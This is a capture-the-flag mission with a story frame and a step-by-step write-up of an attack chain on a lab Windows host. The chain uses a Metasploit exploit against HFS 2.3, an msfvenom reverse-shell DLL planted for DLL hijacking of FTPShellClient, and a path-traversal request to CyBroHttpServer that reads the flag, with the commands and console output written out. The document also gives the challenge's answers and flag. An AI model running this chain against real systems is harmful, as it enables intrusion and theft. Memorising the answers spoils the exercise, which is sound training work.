



## Mission Name

The Assault

## Historical Background

Ethan and Claire have arrived in Euphea alongside the Chancellor and Principal as part of an ongoing investigation. They've been tasked with recompiling certain code snippets, presenting a prime opportunity to embed a bug within the system. This moment is critical, as it allows them to exploit the knowledge gained from earlier simulator training to execute their real mission.

## Technical High-Level Overview

Armed with insights and tactics honed in the simulator, Ethan and Claire are poised for the actual infiltration. The goal is clear: utilize the bug discovered during their simulation exercises to gain unauthorized access to the system, impersonating either the Chancellor or the Principal. This subterfuge is vital for obtaining sensitive information or manipulating the system to their advantage.

## Short Mission Description

Ethan, the time has come to apply the lessons learned from the simulator. Your objective is to infiltrate the system, leveraging the bug to assume the identities of either the Chancellor or the Principal. Success in this endeavor requires precision and stealth, as you navigate the system to complete your mission. Best of luck!

## Mission Description

In the heart of Euphea, within the prestigious surroundings of the Principal's quarters, Ethan and Claire face a pivotal moment. Tasked with recompiling code snippets for an investigation, they recognize the perfect opportunity to implement a strategic bug in the system. This critical action could decisively impact their mission, allowing them unparalleled access to the system under the guise of two of Euphea's most influential figures.

## Location

EUPHEA FACULTY | THE PRINCIPAL'S QUARTERS



## Tools

- IP

## Questions

What user is running HFS software vulnerable to remote code execution?

- Principal

What user is running FTPShell?

- Chancellor

What vulnerability allow to prompt the flag?

- Directory Traversal

## Hints

1. Take a look to <https://www.exploit-db.com/exploits/34668>
2. Use knowledge from mission 11 to escalate privileges from principal to chancellor
3. Check access to Administrator folders.

## Categories

- Enumeration
- Vulnerable Software
- Privilege Escalation
- DLL Hijacking
- Path Traversal

## Write Up

This challenge outlines a multi-layered cyber attack scenario targeting a system with several vulnerabilities. Here's a step-by-step breakdown of the attack:

```
msf6 exploit(windows/http/rejetto_hfs_exec) > run
[*] Started reverse TCP handler on 192.168.174.129:4444
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.174.129:8080/
[*] Server started.
[*] Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
[*] Payload request received: /
[*] Sending stage (175174 bytes) to 192.168.174.140
[*] Meterpreter session 1 opened (192.168.174.129:4444 → 192.168.174.140:49856) at 2021-05-13 10:33:39 -0400
[!] Tried to delete %TEMP%\xsoElq.vbs, unknown result
[*] Server stopped.

meterpreter > getuid
Server username: MAQUETA\principal
meterpreter > upload "~/msf4/local/msimg32.dll" "C:\Program Files (x86)\FTPShellClient"
[*] uploading   : /root/.msf4/local/msimg32.dll → C:\Program Files (x86)\FTPShellClient
[*] uploaded   : /root/.msf4/local/msimg32.dll → C:\Program Files (x86)\FTPShellClient\msimg32.dll
```

Figure 1

### Step 1: Exploiting HFS 2.3 on Port 8080

Identify that the server running on port 8080 is using HFS (Http File Server) version 2.3, which is known to be vulnerable.

Exploit the vulnerability in HFS 2.3 to gain initial access to the system. This could involve uploading a malicious file or exploiting a remote code execution vulnerability.

### Step 2: Generating and Uploading a Malicious DLL

Use msfvenom to generate a reverse shell DLL targeting the FTPShellClient for DLL Hijacking: shCopy code

- msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.174.129 LPORT=4444 -f dll -o msimg32.dll

Upload the generated msimg32.dll to a location where the FTPShellClient will load it, likely within its application directory or a path from which it loads libraries.

### Step 3: Remote Machine Reset

After uploading the malicious DLL, reset the remote machine to ensure the FTPShellClient restarts and loads the hijacked DLL. This can be achieved through a shell command:

- shutdown /r or by using the reboot command from a Meterpreter session.

### Step 4: Setting Up Meterpreter Listener

Before rebooting the target machine, set up a Meterpreter listener using the multi/handler module in Metasploit to catch the reverse shell:

- use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse\_tcp set LHOST 192.168.174.129 set LPORT 4444 exploit

```
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.174.129:4444
[*] Sending stage (175174 bytes) to 192.168.174.140
[*] Meterpreter session 1 opened (192.168.174.129:4444 → 192.168.174.140:49670) at 2021-05-13 10:48:28 -0400
meterpreter > getuid
Server username: MAQUETA\chancellor
```

Figure 2

### Step 5: Enumerating Administrator User Folder

Once the reverse shell is established, enumerate the Administrator's user folder from the chancellor's account to locate the flag. However, direct access to read the flag is denied.



```
C:\Users\Administrator\Desktop\CB\letsdoit\followup\insidetheflag>dir  
dir  
Volume in drive C has no label.  
Volume Serial Number is 0EBD-C918  
  
Directory of C:\Users\Administrator\Desktop\CB\letsdoit\followup\insidetheflag  
  
05/13/2021  04:01 PM    <DIR>          .  
05/13/2021  04:01 PM    <DIR>          ..  
05/13/2021  04:01 PM                7 flag.txt  
                      1 File(s)      7 bytes  
                      2 Dir(s)   16,135,983,104 bytes free  
  
C:\Users\Administrator\Desktop\CB\letsdoit\followup\insidetheflag>type flag.txt  
type flag.txt  
Access is denied.
```

Figure 3

## Step 6: Exploiting Cybrohttp on Port 80 for Remote File Read

Identify that cybrohttp is running on port 80 and is vulnerable to remote file read through path traversal.

Set up a port forward from the Meterpreter session to access the cybrohttp service:

- portfwd add -l 7777 -p 80 -r 192.168.174.140

Exploit the path traversal vulnerability in cybrohttp to read the flag file remotely.

## Step 7: Reading the Flag

With the port forward in place, use the remote file read vulnerability to access and read the contents of the flag file, overcoming the direct read denial encountered earlier.

```
tcp  0.0.0.0:49665      0.0.0.0:*          LISTEN      0      0      1236/svchost.exe  
tcp  0.0.0.0:49666      0.0.0.0:*          LISTEN      0      0      1544/svchost.exe  
tcp  0.0.0.0:49667      0.0.0.0:*          LISTEN      0      0      2072/svchost.exe  
tcp  0.0.0.0:49668      0.0.0.0:*          LISTEN      0      0      2708/spoolsv.exe  
tcp  0.0.0.0:49676      0.0.0.0:*          LISTEN      0      0      652/lsass.exe  
tcp  0.0.0.0:49680      0.0.0.0:*          LISTEN      0      0      644/services.exe  
tcp  192.168.174.140:80  192.168.174.140:49730 TIME_WAIT  0      0      0/[System Process]  
tcp  192.168.174.140:139  0.0.0.0:*          LISTEN      0      0      4/System  
tcp  192.168.174.140:8080 192.168.174.129:41341 ESTABLISHED 0      0      3612/hfs.exe  
tcp  192.168.174.140:49670 192.168.174.129:4444 ESTABLISHED 0      0      3756/rundll32.exe  
tcp6 ::::80              ::::*               LISTEN      0      0      2892/CyBroHttpServer.exe  
tcp6 ::::135             ::::*               LISTEN      0      0      888/svchost.exe  
tcp6 ::::5               ::::*               LISTEN      0      0      4/System
```

Figure 4

```
meterpreter > portfwd add -l 7777 -p 80 -r 192.168.174.140
[*] Local TCP relay created: :7777 ↔ 192.168.174.140:80
```

Figure 5

```
(root㉿kali)-[~/home/kali]
# nc -nv 127.0.0.1 7777
(UNKNOWN) [127.0.0.1] 7777 (?) open
GET \..\..\..\..\Users\Administrator\Desktop\CB\letsdoit\followup\insidetheflag\flag.txt HTTP/1.1
Host: 192.168.0.143

HTTP/1.1 200 OK
Connection: close
Content-Type: text/plain; charset=ISO-8859-1
Content-Length: 38
Date: Mon, 17 May 2021 16:43:49 GMT

flag{th3_chain_bugs_assault_is_f1n1sh}
```

Figure 6

## Flag Information

flag{th3\_chain\_bugs\_assault\_is\_f1n1sh}